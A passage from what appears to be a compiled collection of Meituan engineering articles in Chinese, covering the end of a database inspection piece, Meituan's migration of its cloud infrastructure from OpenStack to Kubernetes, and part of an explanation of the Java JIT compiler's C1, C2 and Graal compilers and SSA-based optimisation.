个。通过巡检体系持续运行，在团队的共同努力下，我们共治理了 8000+ 核心隐患，

近 3 个月隐患治理周期平均不超过 4 天，将隐患总数持续保持在极小的量级，有效地

保障了数据库的稳定。

图 4　隐患运营 - 团队内各虚拟小组隐患平均治理周期

下面的隐患趋势图，展示了近一年中隐患的个数，数量突然增长是由于新的巡检项上

线。从整体趋势上看，隐患存量有非常明显的下降。
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图 5　隐患运营 - 隐患总量趋势情况

除了推动内部隐患治理之外，我们还通过对接先知平台，积极推动 RD 治理隐患数量

超过 5000 个。

图 6　对接先知 - 推动 RD 治理隐患

为了提升用户体验，我们在提升准确率方面也做了重点的投入，让每一个巡检在上线

前都会经过严格的测试和校验。

对比其他先知接入方，DBA 上报隐患在总量、转化率、反馈率几个指标上都处于较

高水平，可见我们上报的隐患风险也得到了 RD 的认可。
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图 7　对接先知 - 各接入方上报隐患情况

指标说明：

 ● 反馈率 = 截止到当前时刻反馈过的风险事件数量 / 截止到当前时刻产生的风险

事件总量 * 100%；

 ● 反馈准确率 = 截止到当前时刻反馈准确的风险事件数量 / 截止到当前时刻反馈

过的风险事件总量 * 100%；

 ● 转化率 = 截止到当前时刻用户反馈准确且需要处理的风险事件数量 / 截止到当

前时刻产生的风险事件总量 * 100%。

六、未来规划

除了继续完善补充巡检项以外，未来巡检系统还会在以下几个方向继续探索迭代：

 ● 提高自动化能力，完善 CI 和审计；

 ● 加强运营能力，进一步细化每个隐患的重要程度，辅助决策治理优先级；

 ● 隐患自动修复。

作者简介
王琦，基础架构部 DBA 组成员，2018 年加入美团，负责 MySQL 数据库运维 / 数据库巡检系

统 / 监控 / 自动化运维周报 / 运维数据集市建设等工作。
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Kubernetes 如何改变美团的云基础设施？

作者：王国梁

本文根据美团基础架构部王国梁在 KubeCon 2020 云原生开源峰会 Cloud Native + 

Open Source Virtual Summit China 2020 上的演讲内容整理而成。

一、背景与现状

Kubernetes 是让容器应用进入大规模工业生产环境的开源系统，也是集群调度领域

的事实标准，目前已被业界广泛接受并得到了大规模的应用。Kubernetes 已经成为

美团云基础设施的管理引擎，它带来的不仅仅是高效的资源管理，同时也大幅降低了

成本，而且为美团云原生架构的推进打下了坚实的基础，支持了 Serverless、云原

生分布式数据库等一些平台完成容器化和云原生化的建设。

从 2013 年开始，美团就以虚拟化技术为核心构建了云基础设施平台；2016 年，开

始探索容器技术并在内部进行落地，在原有 OpenStack 的资源管理能力之上构建了

Hulk1.0 容器平台；2018 年，美团开始打造以 Kubernetes 技术为基础的 Hulk2.0

平台；2019 年年底，我们基本完成了美团云基础设施的容器化改造；2020 年，我们

坚信 Kubernetes 才是未来的云基础设施标准，又开始探索云原生架构落地和演进。

当前，我们构建了以 Kubernetes、Docker 等技术为代表的云基础设施，支持整个

美团的服务和应用管理，容器化率达到 98% 以上，目前已有数十个大小 Kuberne-
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tes 集群，数万的管理节点以及几十万的 Pod。不过出于容灾考虑，我们最大单集群

设置为 5K 个节点。

下图是当前我们基于 Kubrnetes 引擎的调度系统架构，构建了以 Kubernetes 为核

心的统一的资源管理系统，服务于各个 PaaS 平台和业务。除了直接支持 Hulk 容器

化之外，也直接支持了 Serverless、Blade 等平台，实现了 PaaS 平台的容器化和

云原生化。
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二、OpenStack 到 Kubernetes 转变的障碍和收益

对于一个技术栈比较成熟的公司而言，整个基础设施的转变并不是一帆风顺的，在

OpenStack 云平台时期，我们面临的主要问题包括以下几个方面：

1. 架构复杂，运维和维护比较困难：OpenStack 的整个架构中计算资源的管理

模块是非常庞大和复杂，问题排查和可靠性一直是很大的问题。

2. 环境不一致问题突出：环境不一致问题是容器镜像出现之前业界的通用问题，

不利于业务的快速上线和稳定性。

3. 虚拟化本身资源占用多：虚拟化本身大概占用 10% 的宿主机资源消耗，在集

群规模足够大的时候，这是一块非常大的资源浪费。

4. 资源交付和回收周期长，不易灵活调配：一方面是整个虚拟机创建流程冗长；

另一方面各种初始化和配置资源准备耗时长且容易出错，所以就导致整个机

器资源从申请到交付周期长，快速的资源调配是个难题。

5. 高低峰明显，资源浪费严重：随着移动互联网的高速发展，公司业务出现高低

峰的时间越来越多，为了保障服务稳定不得不按照最高的资源需求来准备资

源，这就导致低峰时资源空闲严重，进而造成浪费。

2.1	容器化的过程和障碍

为了解决虚拟机存在的问题，美团开始探索更加轻量级的容器技术的落地，也就是

Hulk1.0 项目。不过基于当时的资源环境和架构，Hulk1.0 是以原有的 OpenStack

为基础资源管理层实现的容器平台，OpenStack 提供底层的宿主机的资源管理能力，

解决了业务对弹性资源的需求，并且整个资源交付周期从分钟级别降低到了秒级。

但是，随着 Hulk1.0 的推广和落地，也暴露出一些新的问题：

1. 稳定性差：因为复用了 OpenStack 的底层资源管理能力，整个扩容过程包括

两层的资源调度，且数据同步流程复杂，机房的隔离性也比较差，经常出现

一个机房出现问题，其他机房的扩缩容也受到影响。

2. 能力欠缺：由于涉及的系统多，并且是跨部门协作，故障节点的迁移和恢复能



后台　<　453

力不易实现，资源类型也比较单一，整个故障排查和沟通效率低下。

3. 扩展性差：Hulk1.0 的控制层面对底层资源的管理能力受限，无法根据场景和

需求快速扩展。

4. 性能：业务对于扩缩容和弹性资源的交付速度需求进一步提高，且容器技术的

弱隔离性导致业务的服务受到的干扰增多，负面反馈增加。

上述的问题经过一段时间的优化和改善，始终不能彻底解决。在这种情况下，我们不

得不重新思考整个容器平台的架构合理性，而此时 Kubernetes 已逐步被业界认可和应

用，它清晰的架构和先进的设计思路让我们看到了希望。所以我们基于 Kubernetes 构

建了新的容器平台，在新的平台中 Hulk 完全基于原生的 Kubernetes API，通过 Hulk 

API 来对接内部的发布部署系统，这样两层 API 将整个架构解耦开来，领域明确，应

用管理和资源管理可以独立迭代，Kubernetes 强大的编排和资源管理能力凸显。
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容器化的核心思路是让 Kubernetes 做好资源层面的管理，而通过上层的控制层解决

对美团应用管理系统和运维系统的依赖问题，保持 Kubernetes 的原生兼容性，减少

后续的维护成本，并完成了快速收敛资源管理的需求。同时，也减少了用户基于新平

台的资源申请的学习成本，这点非常重要，也是后续我们能快速大规模迁移基础设施

资源的“基础”。

2.2	容器化过程的挑战和应对策略

2.2.1	复杂灵活、动态和可配置的调度策略

美团产品众多，业务线和应用特点五花八门，所以相应的，我们对于资源类型和调

度策略的需求也是非常多。例如，有些业务需要特定的资源类型（SSD、高内存、高

IO 等等），有些业务需要特定的打散策略（例如机房、服务依赖等），所以如何很好地

应对这些多样化的需求，就是一个很大的问题。

为了解决这些问题，我们为扩容链路增加了策略引擎，业务可以对自己的应用

APPKEY 自定义录入策略需求，同时基于大数据分析的服务画像，也会根据业务特

点和公司的应用管理策略为业务策略推荐，最终这些策略会保存到策略中心。在扩容

过程中，我们会自动为应用的实例打上对应的需求标签，并最终在 Kubenretes 中生



后台　<　455

效，完成预期的资源交付。

2.2.2	精细化的资源调度和运营

精细化的资源调度和运营，之所以做精细化运营主要是出于两点考虑：业务的资源需

求场景复杂，以及资源不足的情况较多。

我们依托私有云和公有云资源，部署多个 Kubenretes 集群，这些集群有些是承载通

用业务，有些是为特定应用专有的集群，在集群维度对云端资源进行调配，包括机房

的划分、机型的区分等。在集群之下，我们又根据不同的业务需要，建设不同业务类

型的专区，以便做到资源池的隔离来应对业务的需要。更细的维度，我们针对应用层

面的资源需求、容灾需求以及稳定性等做集群层的资源调度，最后基于底层不同硬件

以及软件，实现 CPU、MEM 和磁盘等更细粒度的资源隔离和调度。
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2.2.3	应用稳定性的提升和治理

不管是 VM，还是最初的容器平台，在应用稳定性方面一直都存在问题。为此，我们

需要在保障应用的 SLA 上做出更多的努力。

2.2.3.1	容器复用

在生产环境中，宿主机的发生重启是一种非常常见的场景，可能是主动重启也可能是

被动，但用户角度来看，宿主机重启意味着用户的一些系统数据就可能丢失，代价还

是比较高的。我们需要避免容器的迁移或重建，直接重启恢复。但我们都知道，在

Kubernetes 中，对于 Pod 中的容器的重启策略有以下几种：Always、OnFailure

和 Never，宿主机重启后容器会重新被创建。
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为了解决这个问题，我们为容器的重启策略类型增加了 Reuse 策略。流程如下：

1. kubelet 在 SyncPod 时，重启策略如果是 Reuse 则会获取对应 Pod 已退出

状态的 App 容器，如果存在则拉起最新的 App 容器（可能有多个），如果不

存在则直接新建。

2. 更新 App 容器映射的 pauseID 为新的 pause 容器 ID，这样就建立了 Pod

下新的 pause 容器和原先 App 容器的映射。

3. 重新拉起 App 容器即可完成 Pod 状态同步，最终即使宿主机重启或内核升

级，容器数据也不会丢失。

2.2.3.2	Numa感知与绑定

用户的另一个痛点与容器性能和稳定性相关。我们不断收到业务反馈，同样配置的

容器性能存在不小的差异，主要表现为部分容器请求延迟很高，经过我们测试和深

入分析发现：这些容器存在跨 Numa Node 访问 CPU，在我们将容器的 CPU 使用

限制在同一个 Numa Node 后问题消失。所以，对于一些延迟敏感型的业务，我们

要保证应用性能表现的一致性和稳定性，需要做到在调度侧感知 Numa Node 的使

用情况。

为了解决这个问题，我们在 Node 层采集了 Numa Node 的分配情况，在调度器层
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增加了对 Numa Node 的感知和调度，并保证资源使用的均衡性。对于一些强制需要

绑定 Node 的敏感型应用，如果找不到合适的 Node 则扩容失败；对于一些不需要绑

定 Numa Node 的应用，则可以选择尽量满足的策略。

2.2.3.3	其他稳定性优化

1. 在调度层面，我们为调度器增加了负载感知和基于服务画像应用特征的打散

和优选策略。

2. 在故障容器发现和处理上，基于特征库落地的告警自愈组件，能够秒级发现 -

分析 - 处理告警。

3. 对于一些有特殊资源需求，例如高 IO、高内存等应用采用专区隔离，避免对

其他应用造成影响。

2.2.4	平台型业务容器化

相信做过 ToB 业务的同学应该都了解，任何产品都存在大客户方案，那么对于美团

这样的公司，内部也会存在这种情况。平台型业务的容器化有个特点是：实例数多，

以千或万计，所以资源成本就比较高；业务地位比较高，一般都是非常核心的业务，

对性能和稳定性要求很高。所以，如果想要通过“一招鲜”的方式解决此类业务的问

题，就有些不切实际。

这里，我们以 MySQL 平台为例，数据库业务对于稳定性、性能和可靠性要求非常

高，业务自己又主要以物理机为主，所以成本压力非常大。针对数据库的容器化，我

们主要是从宿主机端的资源分配定制和优化为切入口。

1. 针对 CPU 资源分配，采用独占 CPU 集合的方式，避免 Pod 之间发生争抢。

2. 通过允许自定义 SWAP 大小来应对短暂的高流量，并关闭 Numa Node 和

PageCache 来提升稳定性。

3. 在磁盘分配中采用 Pod 独占磁盘进行 IOPS 的隔离，以及通过预分配和格式

化磁盘来提升扩容的速度，提升资源交付效率。

4. 调度支持独有的打散策略和缩容确认，规避缩容风险。
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最终，我们将数据库的交付效率提升了 60 倍，并且在大多数情况下性能比之前的物

理机器还要好。

2.2.5	业务资源优先级保障

对于一个企业而言，基于成本考虑，资源一直会处于不足的状态，那么如何保障资源

的供给和分配就显得非常重要。

1. 业务预算配额确定资源供给，通过专区来做专有资源专用。

2. 建设弹性资源池和打通公有云来应对突发资源需求。

3. 按照业务和应用类型的优先级保障资源使用，确保核心业务先拿到资源。

4. 多个 Kubenretes 集群和多机房来做容灾，应对集群或机房的故障。

2.2.6	云原生架构的落地

在迁移到 Kubernetes 之后，我们进一步实现了云原生架构的落地。

为了解决云原生应用管理的障碍，我们设计实现了美团特色的云原生应用管理引

擎——KubeNative，将应用的配置和信息管理对平台透明化，业务平台只需要创建

原生的 Pod 资源即可，不需要关注应用的信息同步和管理细节，并支持各 PaaS 平

台自己来扩展控制层面的能力，运行自己的 Operator。

下图就是目前我们整个的云原生应用管理架构，已支持 Hulk 容器平台、Serverless
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以及 TiDB 等平台的落地。

2.3	基础设施迁移后的收益

1. 完成全公司业务 98% 的容器化，显著提升了资源管理的效率和业务稳定性。

2. Kubernetes 稳定性 99.99% 以上。

3. Kubernetes 成为美团内部集群管理平台的标准。

三、运营大规模 Kubernetes 集群的挑战和应对策略

在整个基础设施迁移过程中，除了解决历史遗留问题和系统建设，随着 Kubernetes

集群规模和数量快速增长，我们遇到的新的挑战是：如何稳定、高效地运营大规模

Kubernetes 集群。我们在这几年的 Kubernetes 运营中，也逐渐摸索出了一套验证

可行的运营经验。

3.1	核心组件优化与升级

我们最初使用的 Kubernetes 是 1.6 版本，性能和稳定性是比较差的，当我们达到

1K 节点的时候就逐渐出现问题，达到 5K 节点时基本集群不可用。例如，调度性能

非常差，集群吞吐量也比较低，偶尔还发生“雪崩”的情况，扩缩容链路耗时也在

变长。
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针对核心组件的分析和优化，这里从 kube-apiserver、kube-scheduler、etcd 以

及容器等四个方面来概括下。

1. 针对 kube-apiserver，为了减少重启过程长时间地发生 429 请求重试，我

们实现了多级的流量控制，将不可用窗口从 15min 降低为 1min，并通过减

少和避免外部系统的 List 操作降低集群负载，通过内部的 VIP 来做节点的负

载均衡，保障控制节点的稳定性。

2. 在 kube-scheduler 层，我们增强了调度的感知策略，调度效果相比之前更

稳定；对调度性能的优化提出的预选中断和局部最优策略也已合并到社区，并

成为通用的策略。

3. 针对 etcd 的运营，通过拆分出独立的 Event 集群降低主库的压力，并且基于

高配的 SSD 物理机器部署可以达到日常 5 倍的高流量访问。

4. 在容器层面，容器复用提升了容器的故障容忍能力，并通过精细化的 CPU 分

配提升应用稳定性；通过容器的磁盘预挂载提升 Node 的故障恢复速度。

另外，社区版本的迭代是非常快的，高版本在稳定性和特性支持上更好，不可避免我

们需要进行版本的升级，但如何确保升级成功是一个很大的挑战，尤其是我们在没有

足够的 Buffer 资源进行资源腾挪情况下。
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集群升级，业界通用的方案是直接基于原有集群升级，方案存在以下几点问题：

1. 升级版本有限制，不能跨大版本升级：只能一点点从低版本升级到高版本，耗

时费力，而且成功率低。

2. 控制平面升级风险不可控：尤其是有 API 变更的时候，会覆盖之前的数据，

甚至是不可回滚的。

3. 用户有感知，容器需要新建，成本和影响较高：这个是比较痛的点，无可避免

会发生容器新建。
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为此，我们深入研究了 Kubernetes 对容器层面的控制方式，设计实现了一种能够

平滑将容器数据从低版本集群迁移到高版本集群的方案，将集群升级细化为 Node 粒

度的逐个宿主机上容器的原地热升级，随时可以暂停和回滚。新方案主要是通过外

部工具将 Node 和 Pod 数据从低版本集群迁移到高版本集群，并解决 Pod 对象和容

器的兼容性问题。核心思路是两点：通过低版本兼容高版本的 API，通过刷新容器的

Hash 保障 Pod 下的容器不会被新；通过工具实现 Pod 和 Node 资源数据从低版本

集群迁移到高版本集群。

该方案亮点主要包括以下 4 个方面：

1. 大规模生产环境的集群升级不再是难题。

2. 解决了现有技术方案风险不可控的问题，风险降到了宿主机级别，升级更为

安全。

3. 通用性强，可做到任意版本的升级，且方案生命周期长。

4. 优雅地解决了升级过程中容器新建问题，真正做到了原地热升级。
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3.2	平台化与运营效率

大规模的集群运营是非常有挑战的事情，满足业务的快速发展和用户需求也是对团队

极大的考验，我们需要从不同纬度的考虑集群的运营和研发能力。

在 Kubernetes 与 etcd 集群的整个运营和运维能力建设上，我们关注的目标是安全

运营、高效运维、标准化管理以及节约成本。所以针对 Kubernetes 与 etcd 集群，

我们已经完成了平台化的管理运营，覆盖了特性扩展、性能与稳定性、日常运维、故

障恢复、数据运营以及安全管控等 6 个方面。

对于一个非公有云业务的 Kubernetes 团队，人力还是非常有限的，除了集群的日常

运营还有研发任务，所以我们对于运营效率的提升非常关注。我们将日常运维逐步的

沉淀转换，构建了一套美团内部的 Kubernetes 集群管理平台。

1. 将集群的管理标准化、可视化，避免了黑白屏的运维操作。

2. 通过告警自愈和自动巡检将问题处理收敛掉，所以虽然我们有大几十个集群，

但我们的运维效率还是比较高的，值班同学很少需要关注。

3. 全部的运维操作流程化，不仅提升了运维效率，人为操作导致的故障的概率

也减小了。

4. 通过运营数据的分析进一步做了资源的精细化调度和故障预测，进一步提前
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发现风险，提升了运营的质量。

3.3	风险控制和可靠性保障

规模大、覆盖业务广，任何的集群故障都会直接影响到服务的稳定性甚至用户的体

验，在经历了多次运维故障和安全压力下，我们形成了一套可复制的风险控制和可靠

性保障策略。

在整个风险管控链路中，我们分为指标、告警、工具、机制 & 措施和人员 5 个层面：

1. 指标数据采集，从节点、集群、组件以及资源层面采集核心指标作为数据源。

2. 风险推送，覆盖核心指标的多级、多维度的告警机制。

3. 在工具支持上，通过主动、被动以及流程化等减少误操作风险。

4. 机制保障上，打通测试、灰度验证、发布确认以及演练等降低疏忽大意的情况。

5. 人是风险的根本，这块我们一直也在努力建设和轮值，确保问题的响应。
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在可靠性验证和运营方面，我们笃信需要把功夫用在评审，通过集群巡检来评估集群

的健康情况，并推送报表；定期的宕机演练保障真实故障能够快速恢复，并将日常问

题补全到全链路测试中，形成闭环。

四、总结与未来展望

4.1	经验心得

1. Kubernetes 的落地完全兼容社区的 Kubernetes API；只会做插件化的扩

展，并尽量不改控制层面的原有行为。

2. 对社区的一些特性，取长补短，并且有预期的升级，不盲目升级和跟进社区

版本，尽量保持每年度的一个核心稳定版本。
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3. 落地以用户痛点为突破口，业务是比较实际的，为什么需要进行迁移？业务

会怕麻烦、不配合，所以推进要找到业务痛点，从帮助业务的角度出发，效

果就会不一样。

4. 内部的集群管理运营的价值展现也是很重要的一环，让用户看到价值，业务

看到潜在的收益，他们会主动来找你。

在容器时代，不能只看 Ku1. bernetes 本身，对于企业内的基础设施，“向上”和

“向下”的融合和兼容问题也很关键。“向上”是面向业务场景为用户提供对接，因为

容器并不能直接服务于业务，它还涉及到如何部署应用、服务治理、调度等诸多层

面。“向下”，即容器与基础设施相结合的问题，这里更多的是兼容资源类型、更强大

的隔离性、更高的资源使用效率等都是关键问题。

4.2	未来展望

1. 统一调度：VM 会少量长期存在一段时间，但如果同时维护两套基础设施产品

成本是非常高的，所以我们也在落地 Kubernetes 来统一管理 VM 和容器。

2. VPA：探索通过 VPA 来进一步提升整个资源的使用效率。

3. 云原生应用管理：当前，我们已将云原生应用管理在生产环境落地，未来我们

会进一步扩大云原生应用的覆盖面，不断提升研发效率。

4. 云原生架构落地：推进各个中间件、存储系统、大数据以及搜索业务合作落地

各个领域的云原生系统。
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基本功	|	Java 即时编译器原理解析及实践

作者：昊天　珩智　薛超

一、导读

常见的编译型语言如 C++，通常会把代码直接编译成 CPU 所能理解的机器码来运

行。而 Java 为了实现“一次编译，处处运行”的特性，把编译的过程分成两部分，

首先它会先由 javac 编译成通用的中间形式——字节码，然后再由解释器逐条将字节

码解释为机器码来执行。所以在性能上，Java 通常不如 C++ 这类编译型语言。

为了优化 Java 的性能，JVM 在解释器之外引入了即时（Just In Time）编译器：当

程序运行时，解释器首先发挥作用，代码可以直接执行。随着时间推移，即时编译器

逐渐发挥作用，把越来越多的代码编译优化成本地代码，来获取更高的执行效率。解

释器这时可以作为编译运行的降级手段，在一些不可靠的编译优化出现问题时，再切

换回解释执行，保证程序可以正常运行。

即时编译器极大地提高了 Java 程序的运行速度，而且跟静态编译相比，即时编译器

可以选择性地编译热点代码，省去了很多编译时间，也节省很多的空间。目前，即时

编译器已经非常成熟了，在性能层面甚至可以和编译型语言相比。不过在这个领域，

大家依然在不断探索如何结合不同的编译方式，使用更加智能的手段来提升程序的运

行速度。

二、Java 的执行过程

Java 的执行过程整体可以分为两个部分，第一步由 javac 将源码编译成字节码，在

这个过程中会进行词法分析、语法分析、语义分析，编译原理中这部分的编译称为前

端编译。接下来无需编译直接逐条将字节码解释执行，在解释执行的过程中，虚拟机

同时对程序运行的信息进行收集，在这些信息的基础上，编译器会逐渐发挥作用，它



后台　<　469

会进行后端编译——把字节码编译成机器码，但不是所有的代码都会被编译，只有被

JVM 认定为的热点代码，才可能被编译。

怎么样才会被认为是热点代码呢？ JVM 中会设置一个阈值，当方法或者代码块的在

一定时间内的调用次数超过这个阈值时就会被编译，存入 codeCache 中。当下次执

行时，再遇到这段代码，就会从 codeCache 中读取机器码，直接执行，以此来提升

程序运行的性能。整体的执行过程大致如下图所示：

1.	JVM中的编译器

JVM 中集成了两种编译器，Client Compiler 和 Server Compiler，它们的作用也不

同。Client Compiler 注重启动速度和局部的优化，Server Compiler 则更加关注全

局的优化，性能会更好，但由于会进行更多的全局分析，所以启动速度会变慢。两种

编译器有着不同的应用场景，在虚拟机中同时发挥作用。
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Client	Compiler

HotSpot VM 带有一个 Client Compiler C1 编译器。这种编译器启动速度快，但是

性能比较 Server Compiler 来说会差一些。C1 会做三件事：

 ● 局部简单可靠的优化，比如字节码上进行的一些基础优化，方法内联、常量传

播等，放弃许多耗时较长的全局优化。

 ● 将字节码构造成高级中间表示（High-level Intermediate Representation，

以下称为 HIR），HIR 与平台无关，通常采用图结构，更适合 JVM 对程序进行

优化。

 ● 最后将 HIR 转换成低级中间表示（Low-level Intermediate Representa-

tion，以下称为 LIR），在 LIR 的基础上会进行寄存器分配、窥孔优化（局部的

优化方式，编译器在一个基本块或者多个基本块中，针对已经生成的代码，结

合 CPU 自己指令的特点，通过一些认为可能带来性能提升的转换规则或者通

过整体的分析，进行指令转换，来提升代码性能）等操作，最终生成机器码。

Server	Compiler

Server Compiler 主要关注一些编译耗时较长的全局优化，甚至会还会根据程序运行

的信息进行一些不可靠的激进优化。这种编译器的启动时间长，适用于长时间运行的

后台程序，它的性能通常比 Client Compiler 高 30% 以上。目前，Hotspot 虚拟机

中使用的 Server Compiler 有两种：C2 和 Graal。

C2	Compiler

在 Hotspot VM 中，默认的 Server Compiler 是 C2 编译器。

C2 编译器在进行编译优化时，会使用一种控制流与数据流结合的图数据结构，称为

Ideal Graph。 Ideal Graph 表示当前程序的数据流向和指令间的依赖关系，依靠这

种图结构，某些优化步骤（尤其是涉及浮动代码块的那些优化步骤）变得不那么复杂。

Ideal Graph 的构建是在解析字节码的时候，根据字节码中的指令向一个空的 Graph
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中添加节点，Graph 中的节点通常对应一个指令块，每个指令块包含多条相关联的指

令，JVM 会利用一些优化技术对这些指令进行优化，比如 Global Value Number-

ing、常量折叠等，解析结束后，还会进行一些死代码剔除的操作。生成 Ideal Graph

后，会在这个基础上结合收集的程序运行信息来进行一些全局的优化，这个阶段如果

JVM 判断此时没有全局优化的必要，就会跳过这部分优化。

无论是否进行全局优化，Ideal Graph 都会被转化为一种更接近机器层面的 Mach-

Node Graph，最后编译的机器码就是从 MachNode Graph 中得的，生成机器码前

还会有一些包括寄存器分配、窥孔优化等操作。关于 Ideal Graph 和各种全局的优化

手段会在后面的章节详细介绍。Server Compiler 编译优化的过程如下图所示：
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Graal	Compiler

从 JDK 9 开始，Hotspot VM 中集成了一种新的 Server Compiler，Graal 编译器。

相比 C2 编译器，Graal 有这样几种关键特性：

 ● 前文有提到，JVM 会在解释执行的时候收集程序运行的各种信息，然后编译

器会根据这些信息进行一些基于预测的激进优化，比如分支预测，根据程序不

同分支的运行概率，选择性地编译一些概率较大的分支。Graal 比 C2 更加青

睐这种优化，所以 Graal 的峰值性能通常要比 C2 更好。

 ● 使用 Java 编写，对于 Java 语言，尤其是新特性，比如 Lambda、Stream

等更加友好。

 ● 更深层次的优化，比如虚函数的内联、部分逃逸分析等。

Graal 编译器可以通过 Java 虚拟机参数 -XX:+UnlockExperimentalVMOptions 

-XX:+UseJVMCICompiler 启用。当启用时，它将替换掉 HotSpot 中的 C2 编译

器，并响应原本由 C2 负责的编译请求。

2.	分层编译

在 Java 7 以前，需要研发人员根据服务的性质去选择编译器。对于需要快速启动的，

或者一些不会长期运行的服务，可以采用编译效率较高的 C1，对应参数 -client。长

期运行的服务，或者对峰值性能有要求的后台服务，可以采用峰值性能更好的 C2，

对应参数 -server。Java 7 开始引入了分层编译的概念，它结合了 C1 和 C2 的优

势，追求启动速度和峰值性能的一个平衡。分层编译将 JVM 的执行状态分为了五个

层次。五个层级分别是：

1. 解释执行。

2. 执行不带 profiling 的 C1 代码。

3. 执行仅带方法调用次数以及循环回边执行次数 profiling 的 C1 代码。

4. 执行带所有 profiling 的 C1 代码。

5. 执行 C2 代码。
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profiling 就是收集能够反映程序执行状态的数据。其中最基本的统计数据就是方法的

调用次数，以及循环回边的执行次数。

通常情况下，C2 代码的执行效率要比 C1 代码的高出 30% 以上。C1 层执行的代

码，按执行效率排序从高至低则是 1 层 >2 层 >3 层。这 5 个层次中，1 层和 4 层

都是终止状态，当一个方法到达终止状态后，只要编译后的代码并没有失效，那么

JVM 就不会再次发出该方法的编译请求的。服务实际运行时，JVM 会根据服务运行

情况，从解释执行开始，选择不同的编译路径，直到到达终止状态。下图中就列举了

几种常见的编译路径：

 ● 图中第①条路径，代表编译的一般情况，热点方法从解释执行到被 3 层的 C1

编译，最后被 4 层的 C2 编译。

 ● 如 果 方 法 比 较 小（比 如 Java 服 务 中 常 见 的 getter/setter 方 法），3 层 的

profiling 没有收集到有价值的数据，JVM 就会断定该方法对于 C1 代码和 C2
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代码的执行效率相同，就会执行图中第②条路径。在这种情况下，JVM 会在 3

层编译之后，放弃进入 C2 编译，直接选择用 1 层的 C1 编译运行。

 ● 在 C1 忙碌的情况下，执行图中第③条路径，在解释执行过程中对程序进行

profiling ，根据信息直接由第 4 层的 C2 编译。

 ● 前文提到 C1 中的执行效率是 1 层 >2 层 >3 层，第 3 层一般要比第 2 层慢

35% 以上，所以在 C2 忙碌的情况下，执行图中第④条路径。这时方法会被 2

层的 C1 编译，然后再被 3 层的 C1 编译，以减少方法在 3 层的执行时间。

 ● 如果编译器做了一些比较激进的优化，比如分支预测，在实际运行时发现预测

出错，这时就会进行反优化，重新进入解释执行，图中第⑤条执行路径代表的

就是反优化。

总的来说，C1 的编译速度更快，C2 的编译质量更高，分层编译的不同编译路径，也

就是 JVM 根据当前服务的运行情况来寻找当前服务的最佳平衡点的一个过程。从

JDK 8 开始，JVM 默认开启分层编译。

3.	即时编译的触发

Java 虚拟机根据方法的调用次数以及循环回边的执行次数来触发即时编译。循环回

边是一个控制流图中的概念，程序中可以简单理解为往回跳转的指令，比如下面这段

代码：

循环回边

public void nlp(Object obj) {
  int sum = 0;
  for (int i = 0; i < 200; i++) {
    sum += i;
  }
}

上面这段代码经过编译生成下面的字节码。其中，偏移量为 18 的字节码将往回跳至

偏移量为 4 的字节码中。在解释执行时，每当运行一次该指令，Java 虚拟机便会将

该方法的循环回边计数器加 1。
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字节码

public void nlp(java.lang.Object);
    Code:
       0: iconst_0
       1: istore_1
       2: iconst_0
       3: istore_2
       4: iload_2
       5: sipush        200
       8: if_icmpge     21
      11: iload_1
      12: iload_2
      13: iadd
      14: istore_1
      15: iinc          2, 1
      18: goto          4
      21: return

在即时编译过程中，编译器会识别循环的头部和尾部。上面这段字节码中，循环体的

头部和尾部分别为偏移量为 11 的字节码和偏移量为 15 的字节码。编译器将在循环

体结尾增加循环回边计数器的代码，来对循环进行计数。

当方法的调用次数和循环回边的次数的和，超过由参数 -XX:CompileThreshold 指

定的阈值时（使用 C1 时，默认值为 1500；使用 C2 时，默认值为 10000），就会触

发即时编译。

开启分层编译的情况下，-XX:CompileThreshold 参数设置的阈值将会失效，触发

编译会由以下的条件来判断：

 ● 方法调用次数大于由参数 -XX:TierXInvocationThreshold 指定的阈值乘以

系数。

 ● 方法调用次数大于由参数 -XX:TierXMINInvocationThreshold 指定的阈值乘

以系数，并且方法调用次数和循环回边次数之和大于由参数 -XX:TierXCom-

pileThreshold 指定的阈值乘以系数时。
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分层编译触发条件公式

i > TierXInvocationThreshold * s || (i > TierXMinInvocationThreshold * s  
&& i + b > TierXCompileThreshold * s) 
i为调用次数，b是循环回边次数

上述满足其中一个条件就会触发即时编译，并且 JVM 会根据当前的编译方法数以及

编译线程数动态调整系数 s。

三、编译优化

即时编译器会对正在运行的服务进行一系列的优化，包括字节码解析过程中的分析，

根据编译过程中代码的一些中间形式来做局部优化，还会根据程序依赖图进行全局优

化，最后才会生成机器码。

1.	中间表达形式（Intermediate	Representation）

在编译原理中，通常把编译器分为前端和后端，前端编译经过词法分析、语法分析、

语义分析生成中间表达形式（Intermediate Representation，以下称为 IR），后端会

对 IR 进行优化，生成目标代码。

Java 字节码就是一种 IR，但是字节码的结构复杂，字节码这样代码形式的 IR 也

不适合做全局的分析优化。现代编译器一般采用图结构的 IR，静态单赋值（Static 

Single Assignment，SSA）IR 是目前比较常用的一种。这种 IR 的特点是每个变量

只能被赋值一次，而且只有当变量被赋值之后才能使用。举个例子：

SSA IR

Plain Text
{
  a = 1;
  a = 2;
  b = a;
}

上述代码中我们可以轻易地发现 a = 1 的赋值是冗余的，但是编译器不能。传统的编
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译器需要借助数据流分析，从后至前依次确认哪些变量的值被覆盖掉。不过，如果借

助了 SSA IR，编译器则可以很容易识别冗余赋值。

上面代码的 SSA IR 形式的伪代码可以表示为：

SSA IR

Plain Text
{
  a_1 = 1;
  a_2 = 2;
  b_1 = a_2;
}

由于 SSA IR 中每个变量只能赋值一次，所以代码中的 a 在 SSA IR 中会分成 a_1、

a_2 两个变量来赋值，这样编译器就可以很容易通过扫描这些变量来发现 a_1 的赋

值后并没有使用，赋值是冗余的。

除此之外，SSA IR 对其他优化方式也有很大的帮助，例如下面这个死代码删除

（Dead Code Elimination）的例子：

DeadCodeElimination

public void DeadCodeElimination{
  int a = 2;
  int b = 0
  if(2 > 1){
    a = 1;
  } else{
    b = 2;
  }
  add(a,b)
}

可以得到 SSA IR 伪代码：

DeadCodeElimination

a_1 = 2;
b_1 = 0
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if true:
  a_2 = 1;
else
  b_2 = 2;
add(a,b)

编译器通过执行字节码可以发现 b_2 赋值后不会被使用，else 分支不会被执行。经

过死代码删除后就可以得到代码：

DeadCodeElimination

public void DeadCodeElimination{
  int a = 1;
  int b = 0;
  add(a,b)
}

我们可以将编译器的每一种优化看成一个图优化算法，它接收一个 IR 图，并输出经

过转换后的 IR 图。编译器优化的过程就是一个个图节点的优化串联起来的。

C1中的中间表达形式

前文提及 C1 编译器内部使用高级中间表达形式 HIR，低级中间表达形式 LIR 来进行

各种优化，这两种 IR 都是 SSA 形式的。

HIR 是由很多基本块（Basic Block）组成的控制流图结构，每个块包含很多 SSA 形

